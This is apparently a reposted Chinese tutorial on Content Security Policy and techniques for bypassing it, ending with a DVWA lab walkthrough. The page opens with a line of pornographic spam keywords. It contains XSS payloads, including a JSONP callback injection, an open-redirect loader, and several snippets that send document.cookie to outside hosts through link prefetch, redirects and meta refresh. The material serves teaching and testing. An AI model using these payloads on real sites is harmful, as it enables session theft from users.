国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

CSP內(nèi)容安全策略原理與繞過

這篇具有很好參考價(jià)值的文章主要介紹了CSP內(nèi)容安全策略原理與繞過。希望對(duì)大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請(qǐng)大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問。

CSP介紹

Content Security Policy (CSP)內(nèi)容安全策略,是一個(gè)附加的安全層,有助于檢測(cè)并緩解某些類型的攻擊,包括跨站腳本(XSS)和數(shù)據(jù)注入攻擊。

CSP的特點(diǎn)就是他是在瀏覽器層面做的防護(hù),是和同源策略同一級(jí)別,除非瀏覽器本身出現(xiàn)漏洞,否則不可能從機(jī)制上繞過。

CSP只允許被認(rèn)可的JS塊、JS文件、CSS等解析,只允許向指定的域發(fā)起請(qǐng)求。

一個(gè)簡單的CSP規(guī)則可能就是下面這樣

header("Content-Security-Policy: default-src 'self'; script-src 'self' https://lorexxar.cn;"); 

其中的規(guī)則指令分很多種,每種指令都分管瀏覽器中請(qǐng)求的一部分。

csp繞過,滲透測(cè)試,web安全,前端,javascript

每種指令都有不同的配置

csp繞過,滲透測(cè)試,web安全,前端,javascript

簡單來說,針對(duì)不同來源,不同方式的資源加載,都有相應(yīng)的加載策略。

我們可以說,如果一個(gè)站點(diǎn)有足夠嚴(yán)格的CSP規(guī)則,那么XSS or CSRF就可以從根源上被防止。

但事實(shí)真的是這樣嗎?

CSP Bypass

CSP可以很嚴(yán)格,嚴(yán)格到甚至和很多網(wǎng)站的本身都想相沖突。

為了兼容各種情況,CSP有很多松散模式來適應(yīng)各種情況。

在便利開發(fā)者的同時(shí),很多安全問題就誕生了。

CSP對(duì)前端攻擊的防御主要有兩個(gè):

1、限制js的執(zhí)行。
2、限制對(duì)不可信域的請(qǐng)求。

接下來的多種Bypass手段也是圍繞這兩種的。

1

header("Content-Security-Policy: default-src 'self '; script-src * "); 

天才才能寫出來的CSP規(guī)則,可以加載任何域的js

<script src="http://lorexxar.cn/evil.js"></script> 

隨意開火

2

header("Content-Security-Policy: default-src 'self'; script-src 'self' "); 

最普通最常見的CSP規(guī)則,只允許加載當(dāng)前域的js。

站內(nèi)總會(huì)有上傳圖片的地方,如果我們上傳一個(gè)內(nèi)容為js的圖片,圖片就在網(wǎng)站的當(dāng)前域下了。

alert(1);// 

直接加載圖片就可以了

<script src='upload/test.js'></script> 

3

header(" Content-Security-Policy: default-src 'self '; script-src http://127.0.0.1/static/ "); 

當(dāng)你發(fā)現(xiàn)設(shè)置self并不安全的時(shí)候,可能會(huì)選擇把靜態(tài)文件的可信域限制到目錄,看上去好像沒什么問題了。

但是如果可信域內(nèi)存在一個(gè)可控的重定向文件,那么CSP的目錄限制就可以被繞過。

假設(shè)static目錄下存在一個(gè)302文件

Static/302.php 
<?php Header("location: ".$_GET['url'])?> 

像剛才一樣,上傳一個(gè)test.jpg 然后通過302.php跳轉(zhuǎn)到upload目錄加載js就可以成功執(zhí)行

<script src="static/302.php?url=upload/test.jpg"> 

4

header("Content-Security-Policy: default-src 'self'; script-src 'self' "); 

CSP除了阻止不可信js的解析以外,還有一個(gè)功能是組織向不可信域的請(qǐng)求。

在上面的CSP規(guī)則下,如果我們嘗試加載外域的圖片,就會(huì)被阻止

<img src="http://lorexxar.cn/1.jpg">  ->  阻止 

在CSP的演變過程中,難免就會(huì)出現(xiàn)了一些疏漏

<link rel="prefetch" > (H5預(yù)加載)(only chrome) 
<link rel="dns-prefetch" > (DNS預(yù)加載) 

在CSP1.0中,對(duì)于link的限制并不完整,不同瀏覽器包括chrome和firefox對(duì)CSP的支持都不完整,每個(gè)瀏覽器都維護(hù)一份包括CSP1.0、部分CSP2.0、少部分CSP3.0的CSP規(guī)則。

5

無論CSP有多么嚴(yán)格,但你永遠(yuǎn)都不知道會(huì)寫出什么樣的代碼。

下面這一段是Google團(tuán)隊(duì)去年一份關(guān)于CSP的報(bào)告中的一份范例代碼

// <input id="cmd" value="alert,safe string">  
var array = document.getElementById('cmd').value.split(',');
 window[array[0]].apply(this, array.slice(1)); 

機(jī)緣巧合下,你寫了一段執(zhí)行輸入字符串的js。

事實(shí)上,很多現(xiàn)代框架都有這樣的代碼,從既定的標(biāo)簽中解析字符串當(dāng)作js執(zhí)行。

angularjs甚至有一個(gè)ng-csp標(biāo)簽來完全兼容csp,在csp存在的情況下也能順利執(zhí)行。 

對(duì)于這種情況來說,CSP就毫無意義了

6

header("Content-Security-Policy: default-src 'self'; script-src 'self' "); 

或許你的站內(nèi)并沒有這種問題,但你可能會(huì)使用jsonp來跨域獲取數(shù)據(jù),現(xiàn)代很流行這種方式。

但jsonp本身就是CSP的克星,jsonp本身就是處理跨域問題的,所以它一定在可信域中。

<script 
src="/path/jsonp?callback=alert(document.domain)//"> 
</script> 
 /* API response */ 
alert(document.domain);//{"var": "data", ...}); 

這樣你就可以構(gòu)造任意js,即使你限制了callback只獲取\w+的數(shù)據(jù),部分js仍然可以執(zhí)行,配合一些特殊的攻擊手段和場(chǎng)景,仍然有危害發(fā)生。

唯一的辦法是返回類型設(shè)置為json格式。

7

header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' "); 

比起剛才的CSP規(guī)則來說,這才是最最普通的CSP規(guī)則。

unsafe-inline是處理內(nèi)聯(lián)腳本的策略,當(dāng)CSP中制定script-src允許內(nèi)聯(lián)腳本的時(shí)候,頁面中直接添加的腳本就可以被執(zhí)行了。

<script> 
js code; //在unsafe-inline時(shí)可以執(zhí)行 
</script> 

既然我們可以任意執(zhí)行js了,剩下的問題就是怎么繞過對(duì)可信域的限制。

1 js生成link prefetch

第一種辦法是通過js來生成link prefetch

var n0t = document.createElement("link"); 
n0t.setAttribute("rel", "prefetch"); 
n0t.setAttribute("href", "http://ssssss.com/?" + document.cookie); 
document.head.appendChild(n0t); 

這種辦法只有chrome可以用,但是意外的好用。

2 跳轉(zhuǎn) 跳轉(zhuǎn) 跳轉(zhuǎn)

在瀏覽器的機(jī)制上, 跳轉(zhuǎn)本身就是跨域行為

<script>location.href=http://lorexxar.cn?a+document.cookie</script> 
<script>windows.open(http://lorexxar.cn?a=+document.cooke)</script>
<meta http-equiv="refresh" content="5;http://lorexxar.cn?c=[cookie]"> 

通過跨域請(qǐng)求,我們可以把我們想要的各種信息傳出

3 跨域請(qǐng)求

在瀏覽器中,有很多種請(qǐng)求本身就是跨域請(qǐng)求,其中標(biāo)志就是href。

var a=document.createElement("a"); 
a.+escape(document.cookie); 
a.click(); 

包括表單的提交,都是跨域請(qǐng)求

CSP漏洞 DVWA靶場(chǎng)

初級(jí)篇,如果不看源碼的話??礄z查器(F12),也可以知道一些被信任的網(wǎng)站。

<?php

$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com  example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, jquery and google analytics.

header($headerCSP);

# https://pastebin.com/raw/R570EE00

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    <script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
    <input size="50" type="text" name="include" value="" id="include" />
    <input type="submit" value="Include" />
</form>

csp繞過,滲透測(cè)試,web安全,前端,javascript

觀察頭信息,羅列允許JavaScript的網(wǎng)站 當(dāng)然你也可以從這里開發(fā)者工具來看到這個(gè)頭

$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com  example.com code.jquery.com ht

此時(shí)可以上pastebin網(wǎng)站上自己寫一個(gè)javascript代碼alert(123),保存后記住鏈接

https://pastebin.com
https://pastebin.com/tV3VNjiB
#如下操作

csp繞過,滲透測(cè)試,web安全,前端,javascript

然后在上面界面中輸入鏈接,結(jié)果如下

csp繞過,滲透測(cè)試,web安全,前端,javascript

在pastebin上保存的js代碼被執(zhí)行了。那就是因?yàn)閜astebin網(wǎng)站是被信任的。攻擊者可以把惡意代碼保存在收信任的網(wǎng)站上,然后把鏈接發(fā)送給用戶點(diǎn)擊,實(shí)現(xiàn)注入。文章來源地址http://www.zghlxwxcb.cn/news/detail-694992.html

到了這里,關(guān)于CSP內(nèi)容安全策略原理與繞過的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場(chǎng)。本站僅提供信息存儲(chǔ)空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請(qǐng)注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請(qǐng)點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • CSP的理解與繞過

    CSP的理解與繞過

    剛學(xué)習(xí)完xss,把xsss-labs靶場(chǎng)都通了打算試試水,遇到此題[AFCTF 2021]BABY_CSP,借此機(jī)會(huì)學(xué)習(xí)下CSP Content Security Policy (CSP)內(nèi)容安全策略,是一個(gè)附加的安全層,有助于檢測(cè)并緩解某些類型的攻擊,包括跨站腳本(XSS)和數(shù)據(jù)注入攻擊。它實(shí)質(zhì)就是白名單制度,開發(fā)者明確告訴客戶

    2024年02月10日
    瀏覽(13)
  • Angular安全專輯 —— CSP防止XSS攻擊

    Angular安全專輯 —— CSP防止XSS攻擊

    什么是 CSP ( Content Security Policy ) CSP ( Content Security Policy )是一種 Web 安全策略,用于減輕和防止跨站腳本攻擊( XSS )等安全漏洞。它通過允許網(wǎng)站管理員定義哪些資源可以加載到網(wǎng)頁中,從而限制了惡意腳本的執(zhí)行。 CSP 可以起到什么作用 禁止加載外域代碼,防止復(fù)雜的

    2024年02月14日
    瀏覽(39)
  • Angular安全專輯之一 —— CSP防止XSS攻擊

    Angular安全專輯之一 —— CSP防止XSS攻擊

    什么是 CSP ( Content Security Policy ) CSP ( Content Security Policy )是一種 Web 安全策略,用于減輕和防止跨站腳本攻擊( XSS )等安全漏洞。它通過允許網(wǎng)站管理員定義哪些資源可以加載到網(wǎng)頁中,從而限制了惡意腳本的執(zhí)行。 CSP 可以起到什么作用 禁止加載外域代碼,防止復(fù)雜的

    2024年02月03日
    瀏覽(48)
  • 【網(wǎng)絡(luò)安全】Content Security Policy (CSP) 介紹

    【網(wǎng)絡(luò)安全】Content Security Policy (CSP) 介紹

    內(nèi)容安全策略 (CSP) 是一個(gè)額外的安全層,用于檢測(cè)并削弱某些特定類型的攻擊,包括跨站腳本 (XSS) 和數(shù)據(jù)注入攻擊等。無論是數(shù)據(jù)盜取、網(wǎng)站內(nèi)容污染還是散發(fā)惡意軟件,這些攻擊都是主要的手段。 當(dāng)我不經(jīng)意間在 Twitter 頁面 view source 后,發(fā)現(xiàn)了驚喜。 相比平時(shí)看到的其

    2023年04月15日
    瀏覽(28)
  • 如何使用CORS和CSP保護(hù)前端應(yīng)用程序安全

    如何使用CORS和CSP保護(hù)前端應(yīng)用程序安全

    前端應(yīng)用在提供無縫用戶體驗(yàn)方面起著核心作用。在當(dāng)今互聯(lián)網(wǎng)的環(huán)境中,第三方集成和API的普及使得確保強(qiáng)大的安全性至關(guān)重要。安全漏洞可能導(dǎo)致數(shù)據(jù)盜竊、未經(jīng)授權(quán)訪問以及品牌聲譽(yù)受損。本文將向您展示如何使用CORS和CSP為您的網(wǎng)頁增加安全性。 嗨,大家好!?歡迎

    2024年02月03日
    瀏覽(14)
  • CSP-J/S第一輪測(cè)試知識(shí)點(diǎn)全覆蓋

    CSP-J/S第一輪測(cè)試知識(shí)點(diǎn)全覆蓋

    CSP-J/S第一輪測(cè)試的考察題型是: 1、選擇題,共15題,每題2分,共30分; 2、閱讀程序題,共計(jì)40分。一般三道程序題目,判斷題每題1.5分,選擇題每題3分; 3、完善程序題,共計(jì)30分,選擇題目,每題3分;一般兩到題目。 初賽學(xué)習(xí)方法介紹 1、計(jì)算機(jī)基礎(chǔ)知識(shí) (1)計(jì)算機(jī)基

    2024年02月12日
    瀏覽(49)
  • 前端面試:【XSS、CSRF、CSP】Web安全的三大挑戰(zhàn)

    嗨,親愛的Web開發(fā)者!在構(gòu)建現(xiàn)代Web應(yīng)用時(shí),確保應(yīng)用的安全性至關(guān)重要。本文將深入探討三個(gè)常見的Web安全威脅:XSS(跨站腳本攻擊)、CSRF(跨站請(qǐng)求偽造攻擊)和CSP(內(nèi)容安全策略),以幫助你了解并應(yīng)對(duì)這些威脅。 1. XSS(跨站腳本攻擊): XSS是一種攻擊方式,攻擊者

    2024年02月11日
    瀏覽(30)
  • CCF- CSP 202212-2訓(xùn)練計(jì)劃 詳細(xì)思路 滿分題解(結(jié)尾附自編測(cè)試用例)

    CCF- CSP 202212-2訓(xùn)練計(jì)劃 詳細(xì)思路 滿分題解 題目鏈接:CCF- CSP 202212-2訓(xùn)練計(jì)劃 思路: 測(cè)試數(shù)據(jù)滿足 0n365,0m100 ,一般情況下不會(huì)超時(shí),該題目大概率不是考察算法優(yōu)化時(shí)間復(fù)雜度,重點(diǎn)應(yīng)該放到算法實(shí)現(xiàn)上 對(duì)于最早開始時(shí)間,思路比較簡單:如果當(dāng)前科目沒有依賴,則最早開

    2024年02月13日
    瀏覽(35)
  • 滲透測(cè)試漏洞原理之---【業(yè)務(wù)安全】

    滲透測(cè)試漏洞原理之---【業(yè)務(wù)安全】

    1.1業(yè)務(wù)安全現(xiàn)狀 1.1.1、業(yè)務(wù)邏輯漏洞 近年來,隨著信息化技術(shù)的迅速發(fā)展和全球一體化進(jìn)程的不斷加快,計(jì)算機(jī)和?絡(luò)已經(jīng)成為與所有?都息息相關(guān)的?具和媒介,個(gè)?的?作、?活和娛樂,企業(yè)的管理,乃?國家的發(fā)展和改?都?處其外。信息和互聯(lián)?帶來的不僅僅是便利

    2024年02月09日
    瀏覽(19)
  • 滲透測(cè)試漏洞原理之---【組件安全】

    A9:2017-Using Components with Known Vulnerabilities A06:2021 – Vulnerable and Outdated Components 組件(例如:庫、框架和其他軟件模塊)擁有和應(yīng)用程序相同的權(quán)限。如果應(yīng)用程序中含有已知漏洞的組件被攻擊者利用,可能會(huì)造成嚴(yán)重的數(shù)據(jù) 丟失或服務(wù)器接管。同時(shí),使用含有已知漏洞的組件

    2024年02月09日
    瀏覽(22)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請(qǐng)作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包